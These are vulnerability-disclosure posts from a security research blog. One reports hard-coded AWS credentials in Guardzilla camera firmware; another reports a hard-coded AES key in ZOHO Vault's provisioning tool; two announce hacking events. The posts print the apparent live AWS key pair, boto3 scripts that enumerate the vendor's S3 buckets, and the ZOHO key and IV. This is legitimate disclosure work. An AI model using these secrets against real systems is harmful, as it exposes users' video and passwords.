        <!--kg-card-end: html--><h2 id="embedded-s3-credentials-unlimited-access-policy">Embedded S3 Credentials Unlimited Access Policy</h2><p>Once the binaries were extracted from the firmware they were analyzed in IDA Pro to determine if any vulnerabilities could be identified. &#xA0;Once the main.exe had been disassembled and analyzed it was noted that a set of strings resembled AWS credentials:</p><figure class="kg-card kg-image-card"><img src="https://blackmarble.sh/content/images/2018/12/rodata-AWS.png" class="kg-image" alt="Guardzilla IoT Video
Camera Hard-Coded Credentials (CVE-2018-5560)" loading="lazy"></figure><p>Following the references, we can see that they are exports from the binary that are labeled: accessKey, secretAccessKey, hostname, and bucket. This format lines up with how AWS bucket keys are designed:</p><figure class="kg-card kg-image-card"><img src="https://blackmarble.sh/content/images/2018/12/data-AWS.png" class="kg-image" alt="Guardzilla IoT Video
Camera Hard-Coded Credentials (CVE-2018-5560)" loading="lazy"></figure><!--kg-card-begin: html--><table id="t02">
    <tr>
        <td> AccessKeyIdG</td>
    	<td> AKIAJQDP34RKL7GGV7OQ</td>
    </tr>
    <tr>
        <td> secretAccessKeyG</td>
    	<td> igH8yFmmpMbnkcUaCqXJIRIozKVaXaRhE7PWHAYa</td>
    </tr>
    <tr>
        <td> hostName</td>
    	<td> s3.amazonaws.com</td>
    </tr>
    <tr>
        <td> bucket</td>
    	<td> motion-detection</td>
    </tr>
</table><!--kg-card-end: html--><p>The following script was developed to test the S3 credentials to determine if they were valid as well as determine what access writes the credentials had:</p><!--kg-card-begin: markdown--><pre><code>import boto3
# Create an S3 client
s3 = boto3.client(&apos;s3&apos;,aws_access_key_id=&apos;AKIAJQDP34RKL7GGV7OQ&apos;,aws_secret_access_key=&apos;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&apos;,region_name=&apos;us-west-1&apos;)

try:
    result = s3.get_bucket_policy(Bucket=&apos;motion-detection&apos;)
    print(result)
except Exception as e:
    print(e)</code></pre>
<!--kg-card-end: markdown--><p>When the run script would error out stating that no specific policy exists on the embedded credentials for the motion-detection bucket:</p><!--kg-card-begin: markdown--><pre><code>An error occurred (NoSuchBucketPolicy) when calling the GetBucketPolicy operation: The bucket policy does not exist</code></pre>
<!--kg-card-end: markdown--><p>The previously mentioned script was modified to list any available S3 buckets accessible by the embedded credentials:</p><!--kg-card-begin: markdown--><pre><code>import boto3
# Create an S3 client
s3 = boto3.client(&apos;s3&apos;,aws_access_key_id=&apos;AKIAJQDP34RKL7GGV7OQ&apos;,aws_secret_access_key=&apos;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&apos;,region_name=&apos;us-west-1&apos;)

try:
    result = s3.list_buckets()
    print(result)
except Exception as e:
    print(e)</code></pre>
<!--kg-card-end: markdown--><p>Once run that script lists all buckets accessible by the embedded credentials</p><!--kg-card-begin: markdown--><pre><code>{
    &apos;Buckets&apos;: [{
        &apos;CreationDate&apos;: datetime.datetime(2017, 2, 16, 21, 52, 52, tzinfo = tzutc()),
        &apos;Name&apos;: &apos;elasticbeanstalk-us-west-2-036770821135&apos;
    }, {
        &apos;CreationDate&apos;: datetime.datetime(2018, 4, 5, 15, 45, 22, tzinfo = tzutc()),
        &apos;Name&apos;: &apos;facial-detection&apos;
    }, {
        &apos;CreationDate&apos;: datetime.datetime(2017, 11, 8, 19, 38, 15, tzinfo = tzutc()),
        &apos;Name&apos;: &apos;free-video-storage&apos;
    }, {
        &apos;CreationDate&apos;: datetime.datetime(2018, 3, 9, 20, 7, 19, tzinfo = tzutc()),
        &apos;Name&apos;: &apos;free-video-storage-persist&apos;
    }, {
        &apos;CreationDate&apos;: datetime.datetime(2016, 8, 15, 19, 53, 12, tzinfo = tzutc()),
        &apos;Name&apos;: &apos;gz-rds-backups&apos;
    }, {
        &apos;CreationDate&apos;: datetime.datetime(2017, 11, 8, 19, 37, 44, tzinfo = tzutc()),
        &apos;Name&apos;: &apos;gz-test-bucket&apos;
    }, {
        &apos;CreationDate&apos;: datetime.datetime(2017, 11, 8, 19, 38, 29, tzinfo = tzutc()),
        &apos;Name&apos;: &apos;motion-detection&apos;
    }, {
        &apos;CreationDate&apos;: datetime.datetime(2017, 11, 8, 19, 38, 47, tzinfo = tzutc()),
        &apos;Name&apos;: &apos;premium-video-storage&apos;
    }, {
        &apos;CreationDate&apos;: datetime.datetime(2018, 3, 9, 20, 6, 47, tzinfo = tzutc()),
        &apos;Name&apos;: &apos;premium-video-storage-persist&apos;
    }, {
        &apos;CreationDate&apos;: datetime.datetime(2018, 1, 25, 20, 41, 16, tzinfo = tzutc()),
        &apos;Name&apos;: &apos;rekognition-video-console-demo-cmh-guardzilla-2918n05v5rvh&apos;
    }, {
        &apos;CreationDate&apos;: datetime.datetime(2017, 5, 17, 16, 1, 9, tzinfo = tzutc()),
        &apos;Name&apos;: &apos;setup-videos&apos;
    }, {
        &apos;CreationDate&apos;: datetime.datetime(2018, 1, 24, 23, 0, 39, tzinfo = tzutc()),
        &apos;Name&apos;: &apos;wowza-test-bucket&apos;
    }],
    &apos;Owner&apos;: {
        &apos;ID&apos;: &apos;a3db77fe2a21093a2f0d471b0a9677f8aff7c3c7b7a4944b752ccc0c3a4a4af7&apos;,
        &apos;DisplayName&apos;: &apos;geoff&apos;
    }
}</code></pre>
<!--kg-card-end: markdown--><p>Using the <a href="https://github.com/RhinoSecurityLabs/pacu">PACU</a> AWS framework it was determined that the embedded credentials don&#x2019;t have permission to gather further details on policies:</p><!--kg-card-begin: markdown--><pre><code>{
  &quot;AccessKeyId&quot;: &quot;AKIAJQDP34RKL7GGV7OQ&quot;,
  &quot;Arn&quot;: &quot;arn:aws:iam::036770821135:user/motion-detection&quot;,
  &quot;Roles&quot;: null,
  &quot;KeyAlias&quot;: &quot;Guardzilla&quot;,
  &quot;AccountId&quot;: &quot;036770821135&quot;,
  &quot;UserId&quot;: &quot;AIDAJQRSLLW52U7GLHFYE&quot;,
  &quot;Groups&quot;: [],
  &quot;Policies&quot;: [],
  &quot;Permissions&quot;: {
    &quot;Deny&quot;: {},
    &quot;Allow&quot;: {}
  },
  &quot;SecretAccessKey&quot;: &quot;igH8yFmmpMbnkcUaCqXJIRIozKVaXaRhE7PWHAYa&quot;,
  &quot;UserName&quot;: &quot;&quot;,
  &quot;RoleName&quot;: null,
  &quot;SessionToken&quot;: null,
  &quot;PermissionsConfirmed&quot;: false
}    </code></pre>
<!--kg-card-end: markdown--><p>No further testing against the credentials was done to prevent the unintentional access of Guardzilla customer data. </p><h2 id="openssl-1-0-1g-multiple-vulnerabilities">OpenSSL 1.0.1g Multiple Vulnerabilities</h2><p>It was also noted that an out of date OpenSSL library was being referenced inside the firmware. &#xA0;The following table represents the publicly identified vulnerabilities affecting the OpenSSL Library version <strong>1.0.1g.</strong></p><!--kg-card-begin: html--><table id="t01">
    <caption>OpenSSL Library version 1.0.1g Public Vulnerabilities</caption>
    <tr>
        <th>CVE Number</th>
        <th>Date Published</th>
        <th>Risk Rating</th>
    </tr>
    <tr>
        <td>CVE-2016-0705</td>
        <td>2016-03-03</td>
        <td>CRITICAL</td>
    </tr>
    <tr>
        <th colspan="3">Description</th>
    </tr>
    <tr>
        <td colspan="3">Double free vulnerability in the dsa_priv_decode function in crypto/dsa/dsa_ameth.c in OpenSSL 1.0.1 before 1.0.1s and 1.0.2 before 1.0.2g allows remote attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact via a malformed DSA private key.</td>
    </tr>
    <tr>
        <th>CVE Number</th>
        <th>Date Published</th>
        <th>Risk Rating</th>
    </tr>
    <tr>
        <td>CVE-2015-0292</td>
        <td>2015-03-19</td>
        <td>HIGH</td>
    </tr>
    <tr>
        <th colspan="3">Description</th>
    </tr>
    <tr>
        <td colspan="3">Integer underflow in the EVP_DecodeUpdate function in crypto/evp/encode.c in the base64-decoding implementation in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h allows remote attackers to cause a denial of service (memory corruption) or possibly have unspecified other impact via crafted base64 data that triggers a buffer overflow.</td>
    </tr>
    <tr>
        <th>CVE Number</th>
        <th>Date Published</th>
        <th>Risk Rating</th>
    </tr>
    <tr>
        <td>CVE-2014-8176</td>
        <td>2015-06-12</td>
        <td>HIGH</td>
    </tr>
    <tr>
        <th colspan="3">Description</th>
    </tr>
    <tr>
        <td colspan="3">The dtls1_clear_queues function in ssl/d1_lib.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h frees data structures without considering that application data can arrive between a ChangeCipherSpec message and a Finished message, which allows remote DTLS peers to cause a denial of service (memory corruption and application crash) or possibly have unspecified other impact via unexpected application data.</td>
    </tr>
    <tr>
        <th>CVE Number</th>
        <th>Date Published</th>
        <th>Risk Rating</th>
    </tr>
    <tr>
        <td>CVE-2016-0797</td>
        <td>2016-03-03</td>
        <td>MEDIUM</td>
    </tr>
    <tr>
        <th colspan="3">Description</th>
    </tr>
    <tr>
        <td colspan="3">Multiple integer overflows in OpenSSL 1.0.1 before 1.0.1s and 1.0.2 before 1.0.2g allow remote attackers to cause a denial of service (heap memory corruption or NULL pointer dereference) or possibly have unspecified other impact via a long digit string that is mishandled by the (1) BN_dec2bn or (2) BN_hex2bn function, related to crypto/bn/bn.h and crypto/bn/bn_print.c.</td>
    </tr>
    <tr>
        <th>CVE Number</th>
        <th>Date Published</th>
        <th>Risk Rating</th>
    </tr>
    <tr>
        <td>CVE-2015-0287</td>
        <td>2015-03-19</td>
        <td>MEDIUM</td>
    </tr>
    <tr>
        <th colspan="3">Description</th>
    </tr>
    <tr>
        <td colspan="3">The ASN1_item_ex_d2i function in crypto/asn1/tasn_dec.c in OpenSSL before 0.9.8zf, 1.0.0 before 1.0.0r, 1.0.1 before 1.0.1m, and 1.0.2 before 1.0.2a does not reinitialize CHOICE and ADB data structures, which might allow attackers to cause a denial of service (invalid write operation and memory corruption) by leveraging an application that relies on ASN.1 structure reuse.</td>
    </tr>
    <tr>
        <th>CVE Number</th>
        <th>Date Published</th>
        <th>Risk Rating</th>
    </tr>
    <tr>
        <td>CVE-2015-0209</td>
        <td>2015-03-19</td>
        <td>MEDIUM</td>
    </tr>
    <tr>
        <th colspan="3">Description</th>
    </tr>
    <tr>
        <td colspan="3">Use-after-free vulnerability in the d2i_ECPrivateKey function in crypto/ec/ec_asn1.c in OpenSSL before 0.9.8zf, 1.0.0 before 1.0.0r, 1.0.1 before 1.0.1m, and 1.0.2 before 1.0.2a might allow remote attackers to cause a denial of service (memory corruption and application crash) or possibly have unspecified other impact via a malformed Elliptic Curve (EC) private-key file that is improperly handled during import.</td>
    </tr>
</table>

<!--kg-card-end: html--><h2 id="informational-findings">Informational Findings</h2><p>During the review it was noted that the Guardzilla camera listens on port 23 with an &#x201C;ipc login&#x201D; prompt by default. &#xA0;It was also noted a large amount of UDP traffic was being sent to a US-EAST-2 Amazon server. &#xA0;We also noted several HTTP requests going out to:</p><!--kg-card-begin: markdown--><pre><code>54.68.243.114 (ec2-54-68-243-114.us-west-2.compute.amazonaws.com)
http://54.68.243.114/apns/apns.php?cmd=reg_server&amp;uid=G1KEXWU2BPWHCFZ5111A
http://54.68.243.114/apns/apns.php?cmd=raise_event&amp;uid=G1KEXWU2BPWHCFZ5111A&amp;event_type=1&amp;event_time=1538239032
52.218.200.66 (s3-us-west-2-w.amazonaws.com)
</code></pre>
<!--kg-card-end: markdown--><p>During the binary review several external IP&#x2019;s were identified as well as several external data sources. &#xA0;The following table represents all identified external IP&#x2019;s and data sources identified within the <strong>main.exe </strong>binary:</p><!--kg-card-begin: html--><table id="t01">
    <caption>Guardzilla main.exe External Hardcoded IP/Data Sources</caption>
    <tr>
        <th>Host</th>
        <th>Data Source Information</th>
    </tr>
    <tr>
        <td>61.220.62.219</td>
        <td>HiNet, Taiwan</td>
    </tr>
    <tr>
        <td>203.69.81.91</td>
        <td>HiNet, Taiwan</td>
    </tr>
    <tr>
        <td>210.61.248.232</td>
        <td>HiNet, Taiwan</td>
    </tr>
    <tr>
        <td>42.99.254.162</td>
        <td>Pacnet Services, Japan</td>
    </tr>
    <tr>
        <td>50.19.254.134</td>
        <td>Amazon US-EAST-1, Virginia</td>
    </tr>
    <tr>
        <td>122.248.234.207</td>
        <td>Amazon AP-SOUTHEAST-1, Singapore</td>
    </tr>
    <tr>
        <td>46.137.188.54</td>
        <td>Amazon EU-WEST-1, Ireland</td>
    </tr>
    <tr>
        <td>122.226.84.253</td>
        <td>China Telecom, Jinhua, China</td>
    </tr>
    <tr>
        <td>61.188.37.216</td>
        <td>China Telecom, Chengdu, China</td>
    </tr>
    <tr>
        <td>120.24.59.150</td>
        <td>Alibaba, Hangzhou, China</td>
    </tr>
    <tr>
        <td>114.215.137.159</td>
        <td>Aliyun Computing, Hangzhou, China</td>
    </tr>
    <tr>
        <td>104.199.156.58</td>
        <td>Google Cloud</td>
    </tr>
    <tr>
        <td>175.41.238.100</td>
        <td>Amazon AP-NORTHEAST-1, Japan</td>
    </tr>
    <tr>
        <td>s3.amazonaws.com</td>
        <td>Amazon</td>
    </tr>
    <tr>
        <td>time.windows.com</td>
        <td>Microsoft</td>
    </tr>
    <tr>
        <td>m1.iotcplatform.com</td>
        <td>ThroughTek Co, China</td>
    </tr>
    <tr>
        <td>m2.iotcplatform.com</td>
        <td>ThroughTek Co, China</td>
    </tr>
    <tr>
        <td>m3.iotcplatform.com</td>
        <td>ThroughTek Co, China</td>
    </tr>
    <tr>
        <td>m4.iotcplatform.com</td>
        <td>ThroughTek Co, China</td>
    </tr>
    <tr>
        <td>m5.iotcplatform.com</td>
        <td>ThroughTek Co, China</td>
    </tr>
    <tr>
        <td>dropbox_sendFile_record_del</td>
        <td>Dropbox</td>
    </tr>
    <tr>
        <td>dropbox_sendFile_record_add</td>
        <td>Dropbox</td>
    </tr>
    <tr>
        <td>g_dropboxFileMutex</td>
        <td>Dropbox</td>
    </tr>
    <tr>
        <td>dropbox_sendFile_record_get</td>
        <td>Dropbox</td>
    </tr>
    <tr>
        <td>/mnt/nfs</td>
        <td>Local NFS</td>
    </tr>
</table><!--kg-card-end: html--><p>The highlighted hosts should be further investigated to be sure no unintended video surveillance data is being sent to those hosts/providers. &#xA0;The iotcplatform.com host is especially troubling as it has been identified in previous <a href="https://krebsonsecurity.com/2016/02/this-is-why-people-fear-the-internet-of-things/">Krebs on Security research</a>:</p><p>It was also noted that a suspected UART port was identified on the circuit board. &#xA0;However, Guardzilla removed two pull-up resistors for production units. &#xA0;Replacement resistors were attempted and worked temporarily. &#xA0;We are confident with the correct surface mount resistors connected to the 3.3-volt line and RX and TX lines the UART port would be usable.</p><h2 id="disclosure-timeline">Disclosure Timeline </h2><!--kg-card-begin: markdown--><p>&#x25CF; Sat, Sep 29, 2018: Issue discovered at 0DayAllDay Research Event<br>
&#x25CF; Wed, Oct 3, 2018: Issue disclosed to Rapid7 for coordinated disclosure<br>
&#x25CF; Wed, Oct 24, 2018: Issue disclosed to vendor<br>
&#x25CF; Thu, Nov 8, 2018: Issue disclosed to CERT/CC as VRF#18-11-NPPXC<br>
&#x25CF; Fri, Dec 14, 2018: CVE-2018-5560 reserved<br>
&#x25CF; Thu, Dec 27, 2018: Public disclosure</p>
<!--kg-card-end: markdown--><p>As of this writing the vendor hasn&apos;t responded to any communication from Rapid7 or CERT.</p><h3 id="special-thanks">Special Thanks</h3><ul><li>Everyone at the 0DayAllDay Hacking Event!</li><li><a href="https://geniusden.com/">GeniusDen</a> For hosting our event</li><li>Rapid7 for coordinated disclosure </li><li>The creators of <a href="https://github.com/ReFirmLabs/binwalk">Binwalk</a>, <a href="https://github.com/RhinoSecurityLabs/pacu">PACU</a>, and <a href="https://hashcat.net/hashcat/">Hashcat</a></li><li><a href="https://twitter.com/hermit_hacker">Hermit</a> for editing notes</li></ul>]]></content:encoded></item><item><title><![CDATA[0x02 0DAYALLDAY RESEARCH EVENT - Hardware Hacking]]></title><description><![CDATA[0x02 0DayAllDay Research Event. This quarter's theme is Hardware Hacking. Come and learn about Hardware Hacking and find some vulnerabilities in common consumer hardware. ]]></description><link>https://blackmarble.sh/0x02-0dayallday-research-event-hardware-hacking/</link><guid isPermaLink="false">5d1388cf097f7c18348985a7</guid><category><![CDATA[event]]></category><category><![CDATA[hacking]]></category><category><![CDATA[hardware hacking]]></category><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Wed, 26 Sep 2018 02:57:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1535136104956-115a2cd67fc4?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=334200e50dcef571721b53e49dfe6656" medium="image"/><content:encoded><![CDATA[<h1 id="hacking-drinking-hacking-">Hacking, Drinking, &amp; Hacking...</h1><img src="https://images.unsplash.com/photo-1535136104956-115a2cd67fc4?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=334200e50dcef571721b53e49dfe6656" alt="0x02 0DAYALLDAY RESEARCH EVENT - Hardware Hacking"><p>When: September 29th, 2018<br>Time: 10:00 AM to 11:59 PM<br>Where: GeniusDen 3106 Commerce St, Dallas, TX 75226</p><p>RSVP on <a href="https://www.meetup.com/0dayallday/events/253678564/">Meetup</a></p><h1 id="food-drinks-">Food &amp; Drinks:</h1><ul><li>There are several great places nearby to grab food.</li><li>There will be some free booze (vodka, whiskey, beer) If you want you can bring some more.</li></ul><h1 id="rules-">Rules:</h1><ul><li>Must participate. Researching for others counts</li><li>If you find a vulnerability it&apos;s yours. (Unless otherwise noted. Vulnerabilities that involve health or known to be sue happy it will be required to do full disclosure to protect all involved.)</li><li>If there is a bug bounty you get to choose what to do with the money. Sponsor next event or keep it. Maybe a little of both.</li><li>Smoking analog or vape please step outside.</li><li>Don&apos;t be a dick.</li></ul><h1 id="prize-s-">Prize&apos;s:</h1><ul><li>Most found CVE&apos;s - $50 Gift Card to Amazon</li><li>Best vulnerability found - $25 Gift Card to Amazon</li><li>Community MVP - $25 Gift Card to Amazon</li><li>Miss Congeniality - Hugs and Free 0DayAllDay T-Shirt</li></ul><h1 id="hacking-">Hacking:</h1><p>This quarters theme is Hardware Hacking.</p><ul><li>Arris Surfboard - Model SB6141 (Forced full disclosure)</li><li>Netgear - CM500-100NAS Cable Modem (Forced full disclosure)</li><li>AT&amp;T Router/Gateway - Model 5268ac</li><li>Guardzilla - All-In-One Video Security System</li><li>D-Link N300 WiFi Router - Model DIR-605L H/W Ver.: B3, F/W Ver.: 2.09UI</li><li>TP-Link 300 Wireless N Router - Model TL-WR841N</li><li>TP-Link 150 Wireless N Router - Model TL-WR741ND</li><li>Carl and Stuart Flexi Cam</li><li>Space Invaders</li><li>WYZE Cam - Model WYZECP1</li><li>Couple surprise targets as well.</li><li>If you have something you want to hack on feel free to bring it. (Please note you will have to relieve us of any damage that might happen, aka we will most likely break it.)</li></ul><h2 id="details-of-targets">Details of targets</h2><p>Listed here is any work done by others and can be used as reference or to jump start our work.</p><ul><li>Car and Stuart Flexi Cam <a href="http://www.hackspot.net/StuartCam/">Blog</a></li><li>AT&amp;T Router/Gateway <a href="https://www.nomotion.net/blog/exploring-att-u-verse-5268ac-dsl-modem-part-1/">Blog</a></li><li>AT&amp;T Router/Gateway <a href="https://docs.google.com/presentation/d/1DgzwqNrFa1DAjSv9mgZz0hLGbpz5GEVwUZdo2_NwEHk/edit?usp=sharing">Slides</a></li><li>Guardzilla Not really vulnerabilities but interesting info that should be validated <a href="http://vulnerabledisclosures.blogspot.com/2016/06/a-look-at-guardzilla-they-have-eyes.html">Post</a></li><li>TP-Link 300 TL-WR841N We have already done some work on this one and found some easy wins.</li><li>All targets should be Googled before hand just to double check if there is any pre-existing work.</li></ul><h2 id="getting-started">Getting started</h2><ul><li>Slides INIT_6 did for PWN School. Brief overview <a href="https://docs.google.com/presentation/d/1AmP_9ZZAobZ5UXWKYnLvz_U90_UyO2lCCbegzmT6wc0/edit?usp=sharing">Slides</a></li></ul><h3 id="tools-equipment">Tools &amp; Equipment</h3><ul><li>Laptop is required</li><li>If you have a Bus Pirate, Shikra, OSEPP FTDI, JTagulator, or any UART or JTAG equipment you should bring it. &#xA0;We will have enough equipment for teams of 3 or 4 people. That being said more is always better.</li><li>We will have 2 soldering irons, Header pins, jumper wires, etc However, if you have some feel free to bring it.</li></ul><h3 id="software">Software</h3><ul><li>Kali Linux (Already has most of the tools needed, You can use Windows but Linux will be better)</li><li>Binwalk <a href="https://github.com/ReFirmLabs/binwalk">GitHub</a> Make sure you follow the this install guide and do all the dependencies. <a href="https://github.com/ReFirmLabs/binwalk/blob/master/INSTALL.md">GitHub Wiki</a></li><li>OpenOCD for JTag <a href="http://openocd.org/getting-openocd/">Site</a></li></ul>]]></content:encoded></item><item><title><![CDATA[ZOHO - A Story Of Where Not To Store Keys]]></title><description><![CDATA[ZOHO Password Manager Vault AD/LDAP provisioning application stores the AES encryption key and IV in the source code.]]></description><link>https://blackmarble.sh/zoho-a-story-of-where-not-to-store-keys/</link><guid isPermaLink="false">5d1388cf097f7c18348985a8</guid><category><![CDATA[vulnerability]]></category><category><![CDATA[hacking]]></category><category><![CDATA[zoho]]></category><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Thu, 12 Jul 2018 03:28:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1462045504115-6c1d931f07d1?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=f83fc783348a54cfdd5c2263a16f9d6b" medium="image"/><content:encoded><![CDATA[<img src="https://images.unsplash.com/photo-1462045504115-6c1d931f07d1?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=f83fc783348a54cfdd5c2263a16f9d6b" alt="ZOHO - A Story Of Where Not To Store Keys"><p>The second 0DayAllDay event was June 9th, 2018 from 10am to 9pm. It was organized by Spectant Security and Blackmarble.sh. More information on 0DayAllDay can be found <a href="https://www.0dayallday.org/">here</a></p><p>Last 0DayAllDay event was focused around Password Managers, Thycotic, Keeper, ZOHO Vault were a some of the targets. Only bug that was found was for <a href="https://vault.zoho.com/online/main">ZOHO Vault</a>.</p><p>ZOHO Vault is an online password manager focused on businesses. Included in their software is a AD/LDAP provisioning application. The application ask some standard question like your master ZOHO Account Username and Password, Domain Administrator (What isn&apos;t really needed) Username and Password, connection details. After you fill this out, Application connects to the Domain Controller and you select the users you want to import into ZOHO Vault.</p><p>The AD/LDAP provisioning application stores the AES encryption key and IV in the source code. Obtaining these strings is trivial. You can use JetBrains.dotPeek for example to decompile the executable.</p><p>Once decompiled, you can see that Provisioning_Utils namespace has a CryptUtil class that uses a static string for both the Key and IV.</p><pre><code>namespace Provisioning_Utils
{
    public class CryptUtil
{
private static UTF8Encoding encoding = new UTF8Encoding();
private static byte[] kBytes = CryptUtil.encoding.GetBytes(&quot;6ZUJiqpBKHuNuS@*&quot;);
private static byte[] tmpIV = CryptUtil.encoding.GetBytes(&quot;BJLTHGVTPJQMDEXO&quot;);
</code></pre><p>The vault.zoho.com account password and the Windows Administrator account password are stored in the provisioning.conf file as encrypted text. The Provisioning application can be ran on any computer on the domain. Access to this provisioning.conf file is not guaranteed to be protected. It some cases it would be fairly easy for unauthorized access to the provisioning.conf file.</p><p>I have successfully wrote a new standalone program that takes the encrypted text as an argument and decrypts the password showing the plain text password.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blackmarble.sh/content/images/2018/11/WorkingPoC.PNG" class="kg-image" alt="ZOHO - A Story Of Where Not To Store Keys" loading="lazy"></figure><p>First, C# program I have made. It was pretty easy, just needed to copy and paste the decompiled code. Googled a few things, and surprisingly got it to build on the second try.</p><p>For full source code and binary check out my <a href="https://github.com/initiate6/ZOHO-Vault-d3crypt3r">GitHub</a></p><p>You do need some other access to exploit this; however, for pentesters if they find this provisioning.conf file game over. <s>Gain access to all the passwords saved on ZOHO Vault</s> (Edit: You need a secondary password to decrypt the Vault) and have Domain Admin. It was reckless to have the keys to your kingdom so easily available.</p><p>ZOHO issued me their own CVE number: <code>ZVE-2018-0976</code></p><p>Disclosure Timeline:<br>Found Vulnerability: June 8th, 2018<br>Disclosed to ZOHO: June 10th, 2018<br>ZOHO Closed: July 12th, 2018</p><p>Reward: <s>Nothing :( 10 stupid points. I can&apos;t buy beer with points.</s></p><h2 id="edit-">EDIT:</h2><p>ZOHO Updates Ticket: July 13th, 2018</p><p>Reward: $100 and 10pts. We have beer money for the next event now.</p><p>After making a post I like to watch Google Analytics for my blog just to see the kind of response I get. Got a couple referrals from supportlab.zoho.com and docs.zoho.com less than a hour from posting on twitter. I think they have a twitter bot looking for their name. Anyways, they updated the ticket I had open with them.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blackmarble.sh/content/images/2018/11/response.png" class="kg-image" alt="ZOHO - A Story Of Where Not To Store Keys" loading="lazy"></figure><p>It is true, I had an error. Even though you have the ZOHO Vault login password, you need a secondary encryption password to get access to the content (View Passwords).</p><p>They fixed the vulnerability by removing the unneeded ZOHO account password and using dynamic unique keys to encrypt scoped authentication token and AD Password for every installation.</p><h2 id="finial-notes-">Finial notes:</h2><p>What this tells me is the Authentication token doesn&apos;t expire I thought this was true as I played around with it as well. Which was clear text before in the provisioning.conf. Now I am interested in the new way they are doing the keys. I&apos;ll have to take another look when I get some time.</p>]]></content:encoded></item><item><title><![CDATA[0x01 0DAY ALL DAY RESEARCH EVENT]]></title><description><![CDATA[0DAYALLDAY is a quarterly vulnerability research event that brings together DFW's top information security researchers and hackers. If you're an experienced vulnerability researcher or just want to come and learn what its all about, all are welcome.

Event Theme is Password Managers]]></description><link>https://blackmarble.sh/0x01-0day-all-day-research-event/</link><guid isPermaLink="false">5d1388cf097f7c18348985a6</guid><category><![CDATA[event]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Password Managers]]></category><dc:creator><![CDATA[INIT_6]]></dc:creator><pubDate>Fri, 08 Jun 2018 02:42:00 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1504203700686-f21e703e5f1c?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=27804ebb93470848af618ba22c6f913f" medium="image"/><content:encoded><![CDATA[<h1 id="hacking-drinking-hacking-">Hacking, Drinking, &amp; Hacking...</h1><img src="https://images.unsplash.com/photo-1504203700686-f21e703e5f1c?ixlib=rb-0.3.5&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ&amp;s=27804ebb93470848af618ba22c6f913f" alt="0x01 0DAY ALL DAY RESEARCH EVENT"><p>When: June 9th, 2018<br>Time: 10:00 AM to 11:59 PM<br>Where: GeniusDen 3106 Commerce St, Dallas, TX 75226</p><p>RSVP on <a href="https://www.meetup.com/0dayallday/events/250450302/">Meetup</a></p><h1 id="food-drinks-">Food &amp; Drinks:</h1><ul><li>There are several great places nearby to grab food.</li><li>There will be some free booze (vodka, whiskey, beer) If you want you can bring some more.</li></ul><h1 id="rules-">Rules:</h1><ul><li>Must participate. Researching for others counts</li><li>If you find a vulnerability it&apos;s yours.</li><li>If there is a bug bounty you get to choose what to do with the money. Sponsor next event or keep it. Maybe a little of both.</li><li>Smoking analog or vape please step outside.</li><li>Targets are on 192.168.66.0/24 network stay there :)</li><li>Don&apos;t be a dick.</li></ul><h1 id="prize-s-">Prize&apos;s:</h1><ul><li>Most found CVE&apos;s - $50 Gift Card to Amazon</li><li>Best vulnerability found - $25 Gift Card to Amazon</li><li>Community MVP - $25 Gift Card to Amazon</li><li>Miss Congeniality - Hugs and Free 0DayAllDay t-shirt</li></ul><h1 id="hacking-">Hacking:</h1><p>This quarters theme is Password Managers and their associated Android applications.</p><ul><li>Keeper Security (<a href="https://keepersecurity.com/business.html">Business</a>) <a href="https://bugcrowd.com/keepersecurity">BugCrowd</a></li><li>1Password <a href="https://bugcrowd.com/agilebits">BugCrowd</a></li><li>Thycotic <a href="https://thycotic.com">Secret Server</a></li><li>ManageEngine <a href="https://www.manageengine.com/products/passwordmanagerpro/">Password Manager Pro</a></li><li>ZOHO <a href="https://vault.zoho.com/online/main">Vault</a> <a href="https://bugbounty.zoho.com/bb/info#dodont">BugBounty</a></li></ul><!--kg-card-begin: html--><h2 id="detailsoftargets">Details of targets</h2>
<ul>
<li>
<h3 id="domainserverandgeneralinfo">Domain Server and General Info</h3>
<ul>
<li>HOST
<ul>
<li>Domain Controller Windows Server 2016</li>
<li>IP: 192.168.66.100</li>
<li>Domain: blackmarble.sh</li>
<li>Admin: administrator</li>
<li>Pass: ][Password][</li>
<li>Other users:
<ul>
<li>fox.zero</li>
<li>fox.one</li>
<li>...</li>
<li>fox.ten</li>
</ul>
</li>
<li>Global Read-Only Share: //WIN-7LPVLIICTR2/Data
<ul>
<li>cacert.pem This file is for importing into Burp for Android.</li>
<li>apks folder has all the .apk install files along with the decompiled source code.</li>
<li>Keeper folder has the install files for keeper along with it&apos;s agents.</li>
<li>ManageEngine PMP folder has the Windows agent and the installer.</li>
<li>gray folder has a .net decompiler program and injector</li>
<li>Thycotic has the agents and installer.</li>
</ul>
</li>
<li>Global Read/Write Share: //WIN-7LPVLIICTR2/Share
<ul>
<li>Feel free to put whatever here.</li>
</ul>
</li>
</ul>
</li>
<li>Software
<ul>
